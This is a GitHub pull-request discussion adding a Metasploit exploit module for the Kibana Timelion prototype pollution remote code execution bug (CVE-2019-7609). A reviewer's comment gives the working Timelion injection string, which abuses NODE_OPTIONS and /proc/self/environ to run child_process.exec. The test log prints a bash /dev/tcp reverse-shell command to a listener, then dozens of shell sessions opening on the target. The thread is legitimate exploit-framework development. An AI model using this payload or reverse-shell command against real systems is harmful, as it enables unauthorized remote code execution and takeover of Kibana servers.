Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Kibana Timelion Prototype Pollution RCE (CVE-2019-7609) #18316

Merged
merged 4 commits into from
Sep 8, 2023

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Aug 24, 2023

This PR adds a module to exploit CVE-2019-7609, a prototype pollution vulnerability that results in RCE.

Leaving it as draft for now since the cleanup method isn't working right (you don't stop getting shells....)

Verification

  • Install the application
  • Start msfconsole
  • Do: use use exploit/linux/http/kibana_timelion_prototype_pollution_rce
  • Do: set rhost [ip]
  • Do: set lhost [ip]
  • Do: run
  • You should get a shell as the kibana user.

@sempervictus
Copy link
Contributor

Timelion queries are chained w ,. Maybe we can fix the subsequent executions by way of

    rst = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')"
    if reset
      pload = rst
    else
      # we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS
      pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ'),#{rst}|

?

@h00die
Copy link
Contributor Author

h00die commented Aug 26, 2023

Timelion queries are chained w ,. Maybe we can fix the subsequent executions by way of

    rst = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')"
    if reset
      pload = rst
    else
      # we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS
      pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ'),#{rst}|

?

Will give it a try Monday, I dont have any prior experience with Kibana, let alone timeline, so the input is definitely appreciated!

@h00die h00die marked this pull request as ready for review August 30, 2023 19:48
Comment on lines 180 to 183
Rex.sleep(datastore['WFSDELAY'] / 10)
print_status('Unsetting to stop raining shells from a lacerated kibana')
send_injection(reset: true)
trigger_socket
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Did you try to add a on_new_session method with this code? This method is called when a new session is established. This might be the place to execute this and stop the raining shells. For example, this is untested and probably not working, but just to get the idea:

  def on_new_session(_client)
    print_status('Unsetting to stop raining shells from a lacerated kibana')
    send_injection(reset: true)
    trigger_socket
  ensure
    super
  end

Another idea would be to keep the "reset" code in both exploit and on_new_session to make sure the reset is sent even if something went wrong. Maybe an instance variable can be used and set in on_new_session when the reset is done. The code in exploit can check this instance variable and decide to sent the reset request after a certain amount of time.
For example (still untested):

  def exploit
    ...
    @reset_done = false
    Rex.sleep(datastore['WFSDELAY'] / 10)
    unless @reset_done
      print_status('Unsetting to stop raining shells from a lacerated kibana')
      send_injection(reset: true)
      trigger_socket
    end
  end
  def on_new_session(_client)
    print_status('Unsetting to stop raining shells from a lacerated kibana')
    send_injection(reset: true)
    trigger_socket
    @reset_done = true
  ensure
    super
  end

There is probably a lot of race condition issues here, but you get the idea.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Oh, it's one big race.... Depending on the speed of the computer, I definitely see more or less shells. A VM will give me 10, an i7 laptop will give me 40. (this is down from 40 and 100).

So I think @sempervictus 's original idea was too fast, it set it and unset before the payload had a chance to trigger. I think unsetting on_new_session is a good idea, but at that point its too late as its kicked off a ton of times. I like the idea of doing the @reset_done checks and trying to fire ASAP, so I'll take that. However, the (good?) problem still exists of many shells.

@sjanusz-r7
Copy link
Contributor

I tested this with the docker-compose.yml mentioned in the writeup:

msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > run LHOST=192.168.112.1 RHOSTS=127.0.0.1 RPORT=5601

[+] bash -c '0<&152-;exec 152<>/dev/tcp/192.168.112.1/4444;sh <&152 >&152 2>&152'
[*] Started reverse TCP handler on 192.168.112.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Version Detected: 6.5.4
[*] Polluting Prototype in Timelion
[*] Grabbing XSRF Token
[*] Trigginger payload execution via canvas socket
[*] Waiting for shells
[*] Unsetting to stop raining shells from a lacerated kibana
[*] Unsetting to stop raining shells from a lacerated kibana
[*] Unsetting to stop raining shells from a lacerated kibana
[*] Unsetting to stop raining shells from a lacerated kibana
[*] Unsetting to stop raining shells from a lacerated kibana
[*] Unsetting to stop raining shells from a lacerated kibana
[*] Command shell session 20 opened (192.168.112.1:4444 -> 192.168.112.1:55756) at 2023-09-07 15:50:01 +0100

[*] Command shell session 21 opened (192.168.112.1:4444 -> 192.168.112.1:55757) at 2023-09-07 15:50:01 +0100
[*] Command shell session 22 opened (192.168.112.1:4444 -> 192.168.112.1:55758) at 2023-09-07 15:50:01 +0100
[*] Command shell session 23 opened (192.168.112.1:4444 -> 192.168.112.1:55759) at 2023-09-07 15:50:01 +0100
[*] Command shell session 24 opened (192.168.112.1:4444 -> 192.168.112.1:55760) at 2023-09-07 15:50:01 +0100
[*] Command shell session 25 opened (192.168.112.1:4444 -> 192.168.112.1:55761) at 2023-09-07 15:50:07 +0100
[*] Command shell session 26 opened (192.168.112.1:4444 -> 192.168.112.1:55762) at 2023-09-07 15:50:07 +0100
[*] Command shell session 27 opened (192.168.112.1:4444 -> 192.168.112.1:55763) at 2023-09-07 15:50:08 +0100
[*] Command shell session 28 opened (192.168.112.1:4444 -> 192.168.112.1:55764) at 2023-09-07 15:50:08 +0100
[*] Command shell session 29 opened (192.168.112.1:4444 -> 192.168.112.1:55765) at 2023-09-07 15:50:08 +0100
[*] Command shell session 30 opened (192.168.112.1:4444 -> 192.168.112.1:55766) at 2023-09-07 15:50:14 +0100
[*] Command shell session 31 opened (192.168.112.1:4444 -> 192.168.112.1:55767) at 2023-09-07 15:50:14 +0100
[*] Command shell session 33 opened (192.168.112.1:4444 -> 192.168.112.1:55769) at 2023-09-07 15:50:14 +0100
[*] Command shell session 32 opened (192.168.112.1:4444 -> 192.168.112.1:55768) at 2023-09-07 15:50:14 +0100
[*] Command shell session 34 opened (192.168.112.1:4444 -> 192.168.112.1:55770) at 2023-09-07 15:50:14 +0100
[*] Command shell session 35 opened (192.168.112.1:4444 -> 192.168.112.1:55771) at 2023-09-07 15:50:20 +0100
[*] Command shell session 36 opened (192.168.112.1:4444 -> 192.168.112.1:55772) at 2023-09-07 15:50:20 +0100
[*] Command shell session 38 opened (192.168.112.1:4444 -> 192.168.112.1:55774) at 2023-09-07 15:50:20 +0100
[*] Command shell session 37 opened (192.168.112.1:4444 -> 192.168.112.1:55773) at 2023-09-07 15:50:20 +0100
[*] Command shell session 39 opened (192.168.112.1:4444 -> 192.168.112.1:55775) at 2023-09-07 15:50:20 +0100
[*] Command shell session 41 opened (192.168.112.1:4444 -> 192.168.112.1:55778) at 2023-09-07 15:50:26 +0100
[*] Command shell session 40 opened (192.168.112.1:4444 -> 192.168.112.1:55777) at 2023-09-07 15:50:26 +0100

id
uid=1000(kibana) gid=1000(kibana) groups=1000(kibana)
uname -a
Linux 65e1425da463 5.15.49-linuxkit-pr #1 SMP Thu May 25 07:17:40 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
^Z
Background session 20? [y/N]  y
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  20        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55756 (127.0.0.1)
  21        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55757 (127.0.0.1)
  22        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55758 (127.0.0.1)
  23        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55759 (127.0.0.1)
  24        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55760 (127.0.0.1)
  25        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55761 (127.0.0.1)
  26        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55762 (127.0.0.1)
  27        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55763 (127.0.0.1)
  28        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55764 (127.0.0.1)
  29        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55765 (127.0.0.1)
  30        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55766 (127.0.0.1)
  31        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55767 (127.0.0.1)
  32        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55768 (127.0.0.1)
  33        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55769 (127.0.0.1)
  34        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55770 (127.0.0.1)
  35        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55771 (127.0.0.1)
  36        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55772 (127.0.0.1)
  37        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55773 (127.0.0.1)
  38        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55774 (127.0.0.1)
  39        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55775 (127.0.0.1)
  40        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55777 (127.0.0.1)
  41        shell cmd/unix               192.168.112.1:4444 -> 192.168.112.1:55778 (127.0.0.1)

@sjanusz-r7 sjanusz-r7 merged commit 7302394 into rapid7:master Sep 8, 2023
32 checks passed
@sjanusz-r7 sjanusz-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 8, 2023
@sjanusz-r7
Copy link
Contributor

Release Notes

Adds a module that exploits a prototype pollution vulnerability in the Kibana Timelion visualiser resulting in Remote Code Execution.

@h00die h00die deleted the kibana branch September 8, 2023 23:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants